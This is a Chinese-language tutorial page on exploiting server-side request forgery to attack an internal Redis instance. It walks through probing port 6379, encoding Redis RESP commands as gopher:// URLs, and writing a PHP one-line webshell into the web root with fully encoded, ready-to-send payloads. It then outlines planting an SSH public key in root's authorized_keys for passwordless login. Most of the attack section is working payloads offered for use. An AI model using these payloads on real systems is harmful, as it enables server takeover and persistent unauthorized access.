SSRF 如何攻击内网服务

1. 判断内网Redis端口是否开放

首先,我们需要确认目标服务器的内网中是否存在 Redis 服务,以及它监听的端口。Redis 的默认端口是 6379

我们可以使用 SSRF 漏洞,尝试向 http://127.0.0.1:6379/ 发起请求。如果请求有响应或返回连接成功的提示,那么Redis 服务可能存在

2. 构造Redis命令

Redis的通信协议(RESP,Redis Serialization Protocol)是一种基于TCP的文本协议。攻击者需要将Redis命令转换为符合该协议的格式

例如,一个简单的INFO命令的RESP格式如下:

*1
$4
INFO
  • \*1:表示这是一个包含 1 个命令参数的数组
  • $4:表示接下来的参数有 4 个字节
  • INFO:参数的具体内容

在 Gopher 协议中,换行符需要转换为 URL 编码,即%0D%0A(回车换行)。因此,上述命令转换为 Gopher 协议的 URL编码后是: gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0AINFO%0D%0A

3. 写入WebShell

这是最常见的攻击方式,尤其是在目标服务器是 Web 服务器的情况下。攻击者可以利用 Redis 的持久化功能,将WebShell 代码写入到服务器的网站根目录,从而获得服务器的控制权

攻击思路:

  1. 设置 Redis 的 dirdbfilename:将 Redis 的持久化目录设置为网站根目录,将持久化文件名设置为一个WebShell 文件名(如 shell.php)。
  2. 写入 WebShell 代码:利用 Redis 的 SET 命令,将 WebShell 代码写入一个键中
  3. 执行 SAVEBGSAVE:执行 SAVE 命令将数据保存到指定的 WebShell 文件中

Gopher Payload 构造举例(以写入PHP一句话木马为例):

PHP 一句话木马代码: <?php eval($_POST[cmd]);?>

  1. 设置文件目录config set dir /var/www/html/ Gopher Payload: gopher://127.0.0.1:6379/_*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$14%0D%0A/var/www/html/%0D%0A
  2. 设置文件名config set dbfilename shell.php Gopher Payload: gopher://127.0.0.1:6379/_*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$9%0D%0Ashell.php%0D%0A
  3. 设置键值set 1 '<?php eval($_POST[cmd]);?>' Gopher Payload: gopher://127.0.0.1:6379/_*3%0D%0A$3%0D%0Aset%0D%0A$1%0D%0A1%0D%0A$27%0D%0A%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%3f%3e%0D%0A
  4. 执行保存save Gopher Payload: gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0Asave%0D%0A

你可以将上述 Payload 组合起来,并进行 URL 编码,通过 SSRF 漏洞一次性发送

4. 写入 SSH 公钥

如果 Redis 服务是以 root 权限运行,并且目标服务器开放了 SSH 服务,攻击者还可以通过 Redis 将 SSH 公钥写入 root 用户的 .ssh/authorized_keys 文件,从而实现 SSH 免密登录

Gopher Payload 构造举例:

  1. 设置文件目录:config set dir /root/.ssh/
  2. 设置文件名:config set dbfilename authorized_keys
  3. 写入SSH公钥:set 1 'ssh-rsa AAAA...your-pubkey...'
  4. 执行保存:save
Copyright © 版权信息 all right reserved,powered by Gitbook该文件修订时间: 2025-09-25 03:12:52

results matching ""

    No results matching ""